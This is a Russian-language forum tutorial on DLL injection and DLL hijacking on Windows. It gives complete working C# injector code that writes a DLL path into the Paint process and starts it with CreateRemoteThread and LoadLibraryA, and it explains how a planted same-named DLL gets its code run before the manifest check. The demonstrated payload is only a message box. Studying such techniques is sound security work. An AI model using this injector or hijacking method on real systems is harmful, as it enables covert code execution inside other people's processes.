DLL Injection
@webwareПривет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 - 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.
Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс(исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.
Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking, а так же чем они отличаются.
DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
#include <Windows.h> extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: { MessageBox(NULL, "DLL INJECTION", "SPECIAL FOR CODEBY", MB_OK); break; } case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return true; }
А далее напишем инжектор и разберем его по частям:
По сути основной смысл находится в этих двух методах
public static int inject(string dllPath, Process tProcess) { Process targetProcess = tProcess; // Получаем процесс куда инжектим string dllName = dllPath; // Имя дллки что инжектим IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); //открываем процесс для записи и чтения IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Получаем адрес процесса IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Выделяем память под новый тред UIntPtr bytesWritten; WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Пишем в новую область памяти CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); // создаем поток в области памяти который запускает наш код return 0; } // Здесь же просто вызов метода инжект public static void Execute() { string rawDLL = String.Empty; if (is64BitOperatingSystem) { rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); } else { rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); } // Execution of injection Process proc = Process.GetCurrentProcess(); //GetProcessesByName("mspaint")[0]; Injection.inject(rawDLL, proc); isInjected = true; }
Полностью весь код, целиком:
using System; using System.Collections.Generic; using System.Text; using System.Threading; using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Reflection; namespace alphabotcsharp { public class Injection { [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); // privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; // used for memory allocation const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 4; public static bool isInjected = false; [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool IsWow64Process( [In] IntPtr hProcess, [Out] out bool wow64Process ); static bool is64BitProcess = (IntPtr.Size == 8); static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64(); public static int inject(string dllPath, Process tProcess) { Process targetProcess = tProcess; string dllName = dllPath; IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); UIntPtr bytesWritten; WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); return 0; } public static void Execute() { string rawDLL = String.Empty; if (is64BitOperatingSystem) { rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); } else { rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); } // Execution of injection Process proc = Process.GetProcessesByName("mspaint")[0]; Injection.inject(rawDLL, proc); isInjected = true; } public static Boolean isInjectedAlready() { if (isInjected) { return true; } else { return false; } } public static bool InternalCheckIsWow64() { if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) || Environment.OSVersion.Version.Major >= 6) { using (Process p = Process.GetCurrentProcess()) { bool retVal; if (!IsWow64Process(p.Handle, out retVal)) { return false; } return retVal; } } else { return false; } } } public class Program { public static void Main() { Injection.Execute(); } } }
Профит
DLL Hijacking
Это мы взглянули в целом на технику DLL Injection, а теперь же давайте посмотрим на DLL Hijacking.
Идея этой уязвимости заключается в особенности организации работы подхвата dll'ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории, и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking'a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.
Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки. Напишем же её.
using System.Windows.Forms; namespace DllValid { public class Validation { public void GetMessage() { MessageBox.Show("Я нормальная библиотека"); } } }
А вот код метода Main, когда мы подключим нашу библиотеку.
using DllValid; namespace alphabotcsharp { public class Program { public static void Main() { Validation message = new Validation(); message.GetMessage(); } } }
Убедимся, что всё работает.
Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
Загрузим в утилиту наш билд:
Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace'om, именем класса и метода, то всё отработает.
Но это не интересно. Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance
В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.
Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
На этом всё, всем спасибо.